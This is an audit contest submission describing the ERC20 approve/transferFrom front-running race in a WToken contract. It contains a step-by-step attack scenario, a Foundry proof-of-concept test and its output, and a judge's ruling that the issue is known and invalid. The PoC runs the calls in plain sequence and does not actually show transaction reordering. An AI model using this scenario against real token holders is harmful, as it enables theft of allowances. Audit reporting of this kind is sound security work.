HardhatDeFi
15,000 USDC
View results
Submission Details
Severity: low
Invalid

Approve and transferFrom functions of WToken are subject to front-run attack

Summary

Approve and transferFrom functions of WToken are subject to front-run attack.It is recommended to use increaseAllowance and decreaseAllowance as OpenZeppelin ERC20 implementation.ERC20 API: An Attack Vector on the Approve/TransferFrom Methods.

Vulnerability Details

Changing an allowance with approve brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering.

Impact

  • The attack scenario is as follows:

  1. Holder allows spender to transfer N of holder's tokens (N > 0)by calling the approve method on WToken smart contract, passing the spender's address and N as the method arguments

  2. After some time, holder decides to change from N to M (M > 0) (1000 to 300) the number of holder's tokens spender is allowed to transfer, so he calls the approve method again, this time passing the spender's address and M as the method arguments

  3. Spender notices the holder's second transaction before it was mined and quickly sends another transaction that calls the transferFrom method to transfer N holder's tokens somewhere

  4. If the spender's transaction will be executed before the holder's transaction, then spender will successfully transfer N holder's tokens and will gain an ability to transfer another M tokens

  5. Before holder noticed that something went wrong, spender calls the transferFrom method again, this time to transfer M Holder's tokens.

So, an holder's attempt to change the spender's allowance from N to M (N=1000 and M=300) made it possible for spender to transfer N+M of holder's tokens, while holder never wanted to allow so many of his tokens to be transferred by spender.

Tools Used

Foundry

POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import "../src/WToken.sol";
import "forge-std/console2.sol";
// import {Counter} from "../src/Counter.sol";
contract AuditTest is Test {
WToken public wtoken;
address holder = address(1);
address spender = address(2);
function setUp() public {
wtoken = new WToken("wToken", 18, address(this));
wtoken.mint(holder, 2000);
}
function testERC20ApprovalFrontRun() public {
vm.prank(holder);
wtoken.approve(spender, 1000);
vm.prank(spender);
wtoken.transferFrom(holder, spender, 1000);
vm.prank(holder);
wtoken.approve(spender, 300);
vm.prank(spender);
wtoken.transferFrom(holder, spender, 300);
console2.log("balance of spender: ", wtoken.balanceOf(spender));
console2.log("balance of holder: ", wtoken.balanceOf(holder));
}
}
  • Execute the following command:

git clone https://github.com/Cyfrin/2025-01-diva.git
cd 2025-01-diva/contracts
forge init --force
forge install openzeppelin/openzeppelin-contracts --no-commit
forge install openzeppelin/openzeppelin-contracts-upgradeable --no-commit
cd test/
# Save the above poc file as Audit.t.sol
forge test --mt "testERC20ApprovalFrontRun" -vvv
  • result:

Ran 1 test for test/Audit.t.sol:AuditTest
[PASS] testERC20ApprovalFrontRun() (gas: 79228)
Logs:
balance of spender: 1300
balance of holder: 700
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 362.25µs (92.13µs CPU time)

Recommendations

Use increaseAllowance and decreaseAllowance instead of approve as OpenZeppelin ERC20 implementation.
https://forum.openzeppelin.com/t/explain-the-practical-use-of-increaseallowance-and-decreaseallowance-functions-on-erc20/15103/4

Updates

Lead Judging Commences

bube Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.